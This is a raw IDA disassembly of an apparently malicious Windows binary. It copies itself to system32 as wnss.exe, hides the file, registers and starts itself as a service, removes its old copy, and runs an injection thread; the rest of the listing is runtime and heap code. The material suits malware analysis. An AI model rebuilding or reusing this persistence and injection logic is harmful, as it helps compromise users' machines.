loc_4066FB: ; CODE XREF: sub_406544+1A3j
cmp esi, [ebp+var_8]
jle loc_4065D0
loc_406704: ; CODE XREF: sub_406544+D3j
push offset aInjectionthrea ; "InjectionThread complete\n"
call nullsub_2
pop ecx
cmp dword_411050, 0
jz short loc_40672A
push offset dword_412970
call sub_407B50
pop ecx
and dword_411050, 0
loc_40672A: ; CODE XREF: sub_406544+10j
; sub_406544+1Dj ...
call sub_407A60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_406544 endp
; =============== S U B R O U T I N E =======================================
sub_406736 proc near ; DATA XREF: sub_40592F+99o
; sub_4067B0+56Eo ...
push ebx
push 0
push 0
push 1
push 0
call dword_411D40
mov dword_41296C, eax
push 0
push 0
push offset sub_406544
call sub_4079D0
add esp, 0Ch
mov ebx, eax
push 0FFFFFFFFh
mov eax, ebx
push eax
call dword_411D34
mov eax, ebx
push eax
call dword_411CF8
push 0
push 0
push offset sub_40356A
call sub_4079D0
add esp, 0Ch
push eax
call dword_411CF8
push 1F4h
call dword_411D00
push 0
push 0
push offset sub_404967
call sub_4079D0
add esp, 0Ch
push 0FFFFFFFFh
push eax
call dword_411D34
pop ebx
retn
sub_406736 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4067B0 proc near ; CODE XREF: sub_406D48+1p
var_2004 = byte ptr -2004h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 2004h
call sub_4077F0
push ebx
push esi
push edi
and [ebp+var_4], 0
xor esi, esi
mov off_412958, offset aWnss ; "wnss"
call sub_40103C
call sub_401165
call sub_401097
push offset dword_413970
call dword_411CC8
call sub_401F8E
mov dword_412934, eax
call dword_411D90
push eax
call sub_40122A
pop ecx
cmp dword_411000, 4
jnz loc_4068EE
push offset aUpdate_0 ; "*update"
push dword_4128A8
call dword_411D38
test eax, eax
jnz loc_4068EE
call sub_403604
mov [ebp+var_8], eax
call sub_404162
mov eax, dword_411018
push eax
push [ebp+var_8]
push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
call nullsub_2
add esp, 0Ch
push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
call nullsub_2
pop ecx
push 1770h
call dword_411D00
call sub_40512B
push 0FA0h
call dword_411D00
call sub_40512B
call sub_403685
and [ebp+var_C], 0
push dword_4128A4
push dword_4128B0
push dword_4128AC
push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n"
call nullsub_2
add esp, 10h
lea eax, [ebp+var_C]
push eax
push 1
push 0
push dword_4128AC
call sub_403723
add esp, 10h
test eax, eax
jnz short loc_4068E7
push 0
push 1
push 0
push dword_4128B0
call sub_403723
add esp, 10h
test eax, eax
jnz short loc_4068E7
push 0
push 1
push 0
push dword_4128A4
call sub_403723
add esp, 10h
test eax, eax
jz short loc_4068EE
loc_4068E7: ; CODE XREF: sub_4067B0+105j
; sub_4067B0+11Dj
xor eax, eax
jmp loc_406D41
; ---------------------------------------------------------------------------
loc_4068EE: ; CODE XREF: sub_4067B0+58j
; sub_4067B0+71j ...
call sub_40410E
test eax, eax
jz short loc_4068FE
xor eax, eax
jmp loc_406D41
; ---------------------------------------------------------------------------
loc_4068FE: ; CODE XREF: sub_4067B0+145j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jz loc_4069E1
push offset aCopying___ ; "copying...\n"
call nullsub_2
pop ecx
push 80h
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
call dword_411D28
push 0
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D24
test eax, eax
jz loc_4069D3
push 7
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
call dword_411D28
lea edi, [ebp+var_2004]
mov byte ptr [edi], 22h
inc edi
push dword_4128A4
push edi
call sub_407730
pop ecx
pop ecx
push dword_4128A4
call sub_407710
pop ecx
add edi, eax
mov byte ptr [edi], 22h
inc edi
mov byte ptr [edi], 0
inc edi
lea eax, [ebp+var_2004]
push eax
push offset aCmdlineS ; "cmdline: <%s>\n"
call nullsub_2
pop ecx
pop ecx
call sub_404162
lea eax, [ebp+var_2004]
push eax
call sub_405BE9
pop ecx
test eax, eax
jz short loc_4069B8
xor eax, eax
jmp loc_406D41
; ---------------------------------------------------------------------------
loc_4069B8: ; CODE XREF: sub_4067B0+1FFj
push offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
call nullsub_2
pop ecx
call sub_40410E
test eax, eax
jz short loc_4069DE
xor eax, eax
jmp loc_406D41
; ---------------------------------------------------------------------------
loc_4069D3: ; CODE XREF: sub_4067B0+197j
push offset aCopyingFailed ; "copying failed %%-(\n"
call nullsub_2
pop ecx
loc_4069DE: ; CODE XREF: sub_4067B0+21Aj
xor esi, esi
inc esi
loc_4069E1: ; CODE XREF: sub_4067B0+161j
call sub_402296
call sub_4058BE
push 0
push 0
call sub_4023DC
pop ecx
pop ecx
mov dword_411004, eax
push offset aInitializingWi ; "initializing winsock library...\n"
call nullsub_2
pop ecx
call sub_4012EC
cmp dword_411000, 1
jle loc_406AB2
mov eax, dword_4128A8
cmp byte ptr [eax], 2Ah
jz loc_406AB2
push 80h
push dword_4128A8
call dword_411D28
push dword_4128A8
call dword_411D4C
cmp eax, 0FFFFFFFFh
jz short loc_406A96
push dword_4128A8
push offset aRemovingS ; "removing: <%s>\n"
call nullsub_2
pop ecx
pop ecx
mov edi, 0Ah
jmp short loc_406A8F
; ---------------------------------------------------------------------------
loc_406A63: ; CODE XREF: sub_4067B0+2E4j
push 80h
push dword_4128A8
call dword_411D28
push dword_4128A8
call dword_411D18
test eax, eax
jnz short loc_406A96
push 3E8h
call dword_411D00
loc_406A8F: ; CODE XREF: sub_4067B0+2B1j
dec edi
mov eax, edi
test eax, eax
jnz short loc_406A63
loc_406A96: ; CODE XREF: sub_4067B0+298j
; sub_4067B0+2D2j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_406AB2
mov [ebp+var_4], 1
loc_406AB2: ; CODE XREF: sub_4067B0+262j
; sub_4067B0+270j ...
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_406B10
push offset asc_40E58E ; "**"
push dword_4128A8
call dword_411D38
test eax, eax
jnz short loc_406B10
push offset aWaiting___ ; "*** waiting...\n"
call nullsub_2
pop ecx
mov edi, 0Ah
loc_406AEC: ; CODE XREF: sub_4067B0+353j
call sub_404D77
test eax, eax
jz short loc_406B05
push 1F4h
call dword_411D00
dec edi
test edi, edi
jnz short loc_406AEC
loc_406B05: ; CODE XREF: sub_4067B0+343j
push offset aWaitingComplet ; "*** waiting complete...\n"
call nullsub_2
pop ecx
loc_406B10: ; CODE XREF: sub_4067B0+315j
; sub_4067B0+32Aj
call sub_404D77
mov ebx, eax
test ebx, ebx
jnz short loc_406B69
push offset aNoRegisteredSe ; "no registered service, "
call nullsub_2
pop ecx
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_406B52
mov [ebp+var_4], 1
push offset aRegisterItAndR ; "register it and restart\n"
call nullsub_2
pop ecx
jmp loc_406BF3
; ---------------------------------------------------------------------------
loc_406B52: ; CODE XREF: sub_4067B0+389j
push offset aDonTRegisterIt ; "DON'T register it\n"
call nullsub_2
pop ecx
and [ebp+var_4], 0
xor esi, esi
inc esi
jmp loc_406BF3
; ---------------------------------------------------------------------------
loc_406B69: ; CODE XREF: sub_4067B0+369j
push offset aRegisteredServ ; "registered service is here...\n"
call nullsub_2
pop ecx
call sub_404DC1
test eax, eax
jz short loc_406B84
xor eax, eax
jmp loc_406D41
; ---------------------------------------------------------------------------
loc_406B84: ; CODE XREF: sub_4067B0+3CBj
push offset aRegisteredSe_0 ; "registered service is not running.\n"
call nullsub_2
pop ecx
call sub_4040C3
test eax, eax
jnz short loc_406BF3
push offset aInstallingServ ; "installing service, res="
call nullsub_2
pop ecx
call sub_404FE9
mov [ebp+var_8], eax
push [ebp+var_8]
push offset aI ; "%i\n"
call nullsub_2
pop ecx
pop ecx
call sub_405170
test eax, eax
jnz short loc_406BC8
call sub_405246
loc_406BC8: ; CODE XREF: sub_4067B0+411j
call sub_404162
push offset aStartingServic ; "starting service...\n"
call nullsub_2
pop ecx
call sub_404F15
test eax, eax
jz short loc_406BE8
xor eax, eax
jmp loc_406D41
; ---------------------------------------------------------------------------
loc_406BE8: ; CODE XREF: sub_4067B0+42Fj
push offset aRegisteredSe_1 ; "registered service is not running, unre"...
call nullsub_2
pop ecx
loc_406BF3: ; CODE XREF: sub_4067B0+39Dj
; sub_4067B0+3B4j ...
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_406C34
cmp [ebp+var_4], 0
jz short loc_406C34
test ebx, ebx
jnz short loc_406C34
push offset aInstallingSe_0 ; "installing service...\n"
call nullsub_2
pop ecx
call sub_404FE9
test eax, eax
jz short loc_406C34
push offset aServiceInstall ; "service installed ok...\n"
call nullsub_2
pop ecx
xor ebx, ebx
inc ebx
loc_406C34: ; CODE XREF: sub_4067B0+456j
; sub_4067B0+45Cj ...
test ebx, ebx
jz short loc_406C41
call sub_4040C3
test eax, eax
jz short loc_406C6B
loc_406C41: ; CODE XREF: sub_4067B0+486j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_406C9B
push offset asc_40E58E ; "**"
push dword_4128A8
call dword_411D38
test eax, eax
jnz short loc_406C9B
loc_406C6B: ; CODE XREF: sub_4067B0+48Fj
push offset aStartingServic ; "starting service...\n"
call nullsub_2
pop ecx
call sub_404162
call sub_404F15
test eax, eax
jz short loc_406C8B
xor eax, eax
jmp loc_406D41
; ---------------------------------------------------------------------------
loc_406C8B: ; CODE XREF: sub_4067B0+4D2j
call sub_40410E
test eax, eax
jz short loc_406C9B
xor eax, eax
jmp loc_406D41
; ---------------------------------------------------------------------------
loc_406C9B: ; CODE XREF: sub_4067B0+4A4j
; sub_4067B0+4B9j ...
call sub_404D77
test eax, eax
jz short loc_406CF2
call sub_4040C3
test eax, eax
jz short loc_406CF2
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_406CF2
push offset asc_40E58E ; "**"
push dword_4128A8
call dword_411D38
test eax, eax
jz short loc_406CF2
push offset aInitializingSe ; "initializing service startup sequence.."...
call nullsub_2
pop ecx
call sub_405B88
test eax, eax
jz short loc_406CEF
xor eax, eax
jmp short loc_406D41
; ---------------------------------------------------------------------------
loc_406CEF: ; CODE XREF: sub_4067B0+539j
xor esi, esi
inc esi
loc_406CF2: ; CODE XREF: sub_4067B0+4F2j
; sub_4067B0+4FBj ...
push offset aNotDaemonized_ ; "not daemonized...\n"
call nullsub_2
pop ecx
test esi, esi
jz short loc_406D0D
push dword_4128A4
call sub_405833
pop ecx
loc_406D0D: ; CODE XREF: sub_4067B0+54Fj
call sub_40410E
test eax, eax
jz short loc_406D1A
xor eax, eax
jmp short loc_406D41
; ---------------------------------------------------------------------------
loc_406D1A: ; CODE XREF: sub_4067B0+564j
push 0
push 0
push offset sub_406736
call sub_4079D0
add esp, 0Ch
push 0FFFFFFFFh
push eax
call dword_411D34
push offset dword_40E000
call nullsub_2
pop ecx
xor eax, eax
loc_406D41: ; CODE XREF: sub_4067B0+139j
; sub_4067B0+149j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4067B0 endp
; =============== S U B R O U T I N E =======================================
sub_406D48 proc near ; CODE XREF: sub_407B60+C1p
push ebx
call sub_4067B0
mov ebx, eax
call sub_404162
mov eax, ebx
pop ebx
retn 10h
sub_406D48 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D5C proc near ; CODE XREF: sub_40636D+1Bp
; sub_40643C+30p
jmp dword_411D84
sub_406D5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D62 proc near ; CODE XREF: sub_40636D+3Cp
; sub_40643C+4Dp
jmp dword_411D88
sub_406D62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D68 proc near ; CODE XREF: sub_40636D+B6p
; sub_40643C+88p
jmp dword_411D8C
sub_406D68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D6E proc near ; CODE XREF: sub_4012EC+1Ap
; sub_4012EC+34p
jmp dword_411E88
sub_406D6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D74 proc near ; CODE XREF: DMN0:00401350p
jmp dword_411E8C
sub_406D74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D7A proc near ; CODE XREF: sub_401359+Bp
; DMN0:004013DDp ...
jmp dword_411E90
sub_406D7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D80 proc near ; CODE XREF: sub_401359+36p
; sub_401359+53p ...
jmp dword_411E94
sub_406D80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D86 proc near ; CODE XREF: sub_4014C2+4p
; sub_402B02+152p ...
jmp dword_411E98
sub_406D86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D8C proc near ; CODE XREF: sub_4014CF+56p
jmp dword_411E9C
sub_406D8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D92 proc near ; CODE XREF: sub_401542+11p
jmp dword_411EA0
sub_406D92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D98 proc near ; CODE XREF: sub_401567+28p
; sub_4015B7+28p ...
jmp dword_411EA4
sub_406D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D9E proc near ; CODE XREF: sub_401567+3Ap
jmp dword_411EA8
sub_406D9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DA4 proc near ; CODE XREF: sub_4015B7+3Ap
; sub_402B02+E5p ...
jmp dword_411EAC
sub_406DA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DAA proc near ; CODE XREF: sub_401607+8p
jmp dword_411EB0
sub_406DAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DB0 proc near ; CODE XREF: sub_401621+30p
; sub_40166C+3Fp
jmp dword_411EB4
sub_406DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DB6 proc near ; CODE XREF: sub_40166C+5Fp
; DMN0:00401844p ...
jmp dword_411EB8
sub_406DB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DBC proc near ; CODE XREF: sub_4016DC+17p
; sub_401713+18p ...
jmp dword_411EBC
sub_406DBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DC2 proc near ; CODE XREF: sub_401787+17p
jmp dword_411EC0
sub_406DC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DC8 proc near ; CODE XREF: sub_4017BE+8p
; sub_4025A9+EDp ...
jmp dword_411EC4
sub_406DC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DCE proc near ; CODE XREF: sub_4017BE+1Bp
jmp dword_411EC8
sub_406DCE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DD4 proc near ; CODE XREF: DMN0:00401827p
jmp dword_411ECC
sub_406DD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DDA proc near ; CODE XREF: DMN0:00401876p
jmp dword_411ED0
sub_406DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DE0 proc near ; CODE XREF: DMN0:00401897p
; sub_403113+5Cp ...
jmp dword_411ED4
sub_406DE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DE6 proc near ; CODE XREF: sub_402B02+142p
; sub_403113+FCp ...
jmp dword_411ED8
sub_406DE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DEC proc near ; CODE XREF: sub_402B02+1DBp
; sub_403113+16Dp ...
jmp dword_411EDC
sub_406DEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DF2 proc near ; CODE XREF: sub_402B02+1E4p
; sub_403113+176p ...
jmp dword_411EE0
sub_406DF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406DF8 proc near ; CODE XREF: sub_4030A4+23p
; sub_4030A4+4Bp
jmp dword_411EE8
sub_406DF8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_406E00 proc near ; CODE XREF: sub_401048+15p
; DMN0:0040110Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov eax, [esp+8+arg_0]
mul [esp+8+arg_4]
mov esi, eax
push esi
call sub_408260
pop ecx
mov ebx, eax
test ebx, ebx
jz short loc_406E27
mov edx, ebx
mov ecx, esi
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
loc_406E27: ; CODE XREF: sub_406E00+17j
mov eax, ebx
pop esi
pop ebx
retn
sub_406E00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406E30 proc near ; CODE XREF: sub_4071B0+59p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
or [ebp+var_C], 0FFFFFFFFh
mov ebx, [ebp+arg_0]
add ebx, 0FFFFFFFCh
test dword ptr [ebx], 80000000h
jnz short loc_406E5B
call sub_408460
mov dword ptr [eax], 16h
jmp loc_40719D
; ---------------------------------------------------------------------------
loc_406E5B: ; CODE XREF: sub_406E30+19j
mov eax, [ebx]
mov edi, eax
and edi, 7FFFFFFFh
lea eax, [ebx-4]
mov [ebp+var_4], eax
lea ebx, [ebx+edi*4-4]
lea esi, [ebx+4]
test dword ptr [esi], 80000000h
jnz loc_406F0B
mov eax, [esi]
lea esi, [esi+eax*4-4]
mov eax, dword_4111E4
cmp [esi], eax
ja short loc_406EC0
mov eax, dword_4111DC
cmp [esi], eax
ja short loc_406EA8
mov eax, dword_4111D8
cmp [esi], eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_406EBB
; ---------------------------------------------------------------------------
loc_406EA8: ; CODE XREF: sub_406E30+64j
mov eax, dword_4111E0
cmp [esi], eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_406EBB: ; CODE XREF: sub_406E30+76j
mov eax, [ebp+var_10]
jmp short loc_406EF1
; ---------------------------------------------------------------------------
loc_406EC0: ; CODE XREF: sub_406E30+5Bj
mov eax, dword_4111EC
cmp [esi], eax
ja short loc_406EDE
mov eax, dword_4111E8
cmp [esi], eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_406EF1
; ---------------------------------------------------------------------------
loc_406EDE: ; CODE XREF: sub_406E30+97j
mov eax, dword_4111F0
cmp [esi], eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_406EF1: ; CODE XREF: sub_406E30+8Ej
; sub_406E30+ACj
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [esi]
add edi, eax
mov [esi], edi
mov eax, edi
shl eax, 2
mov edx, esi
sub edx, eax
mov [edx+4], edi
mov ebx, esi
loc_406F0B: ; CODE XREF: sub_406E30+48j
mov eax, [ebp+var_4]
test dword ptr [eax], 80000000h
jnz loc_407037
mov eax, [ebp+var_4]
mov edx, [eax]
add edi, edx
mov edx, dword_4111E4
cmp [eax], edx
ja short loc_406F6A
mov eax, [ebp+var_4]
mov edx, dword_4111DC
cmp [eax], edx
ja short loc_406F4E
mov eax, [ebp+var_4]
mov edx, dword_4111D8
cmp [eax], edx
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_406F65
; ---------------------------------------------------------------------------
loc_406F4E: ; CODE XREF: sub_406E30+106j
mov eax, [ebp+var_4]
mov edx, dword_4111E0
cmp [eax], edx
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_406F65: ; CODE XREF: sub_406E30+11Cj
mov eax, [ebp+var_10]
jmp short loc_406FA7
; ---------------------------------------------------------------------------
loc_406F6A: ; CODE XREF: sub_406E30+F9j
mov eax, [ebp+var_4]
mov edx, dword_4111EC
cmp [eax], edx
ja short loc_406F90
mov eax, [ebp+var_4]
mov edx, dword_4111E8
cmp [eax], edx
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_406FA7
; ---------------------------------------------------------------------------
loc_406F90: ; CODE XREF: sub_406E30+145j
mov eax, [ebp+var_4]
mov edx, dword_4111F0
cmp [eax], edx
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_406FA7: ; CODE XREF: sub_406E30+138j
; sub_406E30+15Ej
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
mov eax, [eax-4]
mov [ebp+var_14], eax
cmp eax, [ebp+var_4]
jnz short loc_406FF2
mov eax, [ebp+var_8]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_8]
cmp dword_4111F8, eax
jnz short loc_407029
jmp short loc_406FDC
; ---------------------------------------------------------------------------
loc_406FD6: ; CODE XREF: sub_406E30+1BEj
inc dword_4111F8
loc_406FDC: ; CODE XREF: sub_406E30+1A4j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_406FF0
cmp eax, 7
jl short loc_406FD6
loc_406FF0: ; CODE XREF: sub_406E30+1B9j
jmp short loc_407029
; ---------------------------------------------------------------------------
loc_406FF2: ; CODE XREF: sub_406E30+189j
mov eax, [ebp+var_4]
mov eax, [eax-8]
mov [ebp+var_18], eax
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
mov [edx-4], eax
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx-8], eax
mov eax, [ebp+var_8]
mov eax, dword_4111A8[eax*4]
cmp eax, [ebp+var_4]
jnz short loc_407029
mov eax, [ebp+var_8]
mov edx, [ebp+var_18]
mov dword_4111A8[eax*4], edx
loc_407029: ; CODE XREF: sub_406E30+1A2j
; sub_406E30:loc_406FF0j ...
mov [ebx], edi
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], edi
loc_407037: ; CODE XREF: sub_406E30+E4j
cmp edi, dword_4111E4
ja short loc_407071
cmp edi, dword_4111DC
ja short loc_407059
mov eax, dword_4111D8
cmp edi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_40706C
; ---------------------------------------------------------------------------
loc_407059: ; CODE XREF: sub_406E30+215j
mov eax, dword_4111E0
cmp edi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_40706C: ; CODE XREF: sub_406E30+227j
mov eax, [ebp+var_10]
jmp short loc_4070A1
; ---------------------------------------------------------------------------
loc_407071: ; CODE XREF: sub_406E30+20Dj
cmp edi, dword_4111EC
ja short loc_40708E
mov eax, dword_4111E8
cmp edi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_4070A1
; ---------------------------------------------------------------------------
loc_40708E: ; CODE XREF: sub_406E30+247j
mov eax, dword_4111F0
cmp edi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_4070A1: ; CODE XREF: sub_406E30+23Fj
; sub_406E30+25Cj
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
cmp [ebp+var_C], eax
jz loc_40719D
cmp [ebp+var_C], 0
jl short loc_407129
mov eax, [ebx-4]
mov [ebp+var_14], eax
cmp ebx, [ebp+var_14]
jnz short loc_4070F8
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_407129
jmp short loc_4070E2
; ---------------------------------------------------------------------------
loc_4070DC: ; CODE XREF: sub_406E30+2C4j
inc dword_4111F8
loc_4070E2: ; CODE XREF: sub_406E30+2AAj
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_4070F6
cmp eax, 7
jl short loc_4070DC
loc_4070F6: ; CODE XREF: sub_406E30+2BFj
jmp short loc_407129
; ---------------------------------------------------------------------------
loc_4070F8: ; CODE XREF: sub_406E30+28Fj
mov eax, [ebx-8]
mov [ebp+var_18], eax
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
mov [edx-4], eax
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_407129
mov eax, [ebp+var_C]
mov edx, [ebp+var_18]
mov dword_4111A8[eax*4], edx
loc_407129: ; CODE XREF: sub_406E30+284j
; sub_406E30+2A8j ...
mov eax, [ebp+var_8]
mov eax, dword_4111A8[eax*4]
mov [ebp+var_18], eax
test eax, eax
jnz short loc_40715F
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov eax, [ebp+var_8]
mov dword_4111A8[eax*4], ebx
mov eax, [ebp+var_8]
cmp dword_4111F8, eax
jle short loc_407168
mov eax, [ebp+var_8]
mov dword_4111F8, eax
jmp short loc_407168
; ---------------------------------------------------------------------------
loc_40715F: ; CODE XREF: sub_406E30+308j
mov eax, [ebp+var_18]
mov eax, [eax-8]
mov [ebp+var_14], eax
loc_407168: ; CODE XREF: sub_406E30+323j
; sub_406E30+32Dj
mov eax, [ebp+var_18]
mov [ebx-4], eax
mov edx, [ebp+var_18]
mov [edx-8], ebx
mov edx, [ebp+var_14]
mov [edx-4], ebx
mov eax, [ebp+var_14]
mov [ebx-8], eax
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], edi
mov [ebx], edi
mov eax, [ebp+var_8]
mov dword_4111FC, eax
mov dword_4111A8[eax*4], ebx
loc_40719D: ; CODE XREF: sub_406E30+26j
; sub_406E30+27Aj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_406E30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071B0 proc near ; CODE XREF: sub_401076+Fp
; DMN0:00401138p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00407223 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8A4
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
test ebx, ebx
jz short loc_407223
lea eax, [ebx-4]
cmp eax, dword_4111D0
jbe short loc_4071F0
cmp eax, dword_4111CC
jb short loc_4071F9
loc_4071F0: ; CODE XREF: sub_4071B0+36j
push ebx
call sub_4086F0
pop ecx
jmp short loc_407223
; ---------------------------------------------------------------------------
loc_4071F9: ; CODE XREF: sub_4071B0+3Ej
push 0
call sub_408800
pop ecx
mov [ebp+var_4], 0
push ebx
call sub_406E30
pop ecx
or [ebp+var_4], 0FFFFFFFFh
call sub_40721A
jmp short loc_407223
sub_4071B0 endp
; =============== S U B R O U T I N E =======================================
sub_40721A proc near ; CODE XREF: sub_4071B0+63p
; DATA XREF: DMN0:0040F8ACo
push 0
call sub_408880
pop ecx
retn
sub_40721A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4071B0
loc_407223: ; CODE XREF: sub_4071B0+2Bj
; sub_4071B0+47j ...
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4071B0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407240 proc near ; DATA XREF: sub_407280+38o
; sub_4495A1+38o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_8]
mov edi, ebx
cmp [edi+4], esi
jnb short loc_407256
mov esi, [edi+4]
loc_407256: ; CODE XREF: sub_407240+11j
push esi
mov eax, [ebp+arg_4]
push eax
mov eax, [edi]
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [edi]
add eax, esi
mov [edi], eax
sub [edi+4], esi
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407280 proc near ; CODE XREF: DMN0:004010F0p
; DMN0:00401120p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
cmp [ebp+arg_4], 0
jnz short loc_40729C
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
mov [ebp+var_4], 0
jmp short loc_4072AC
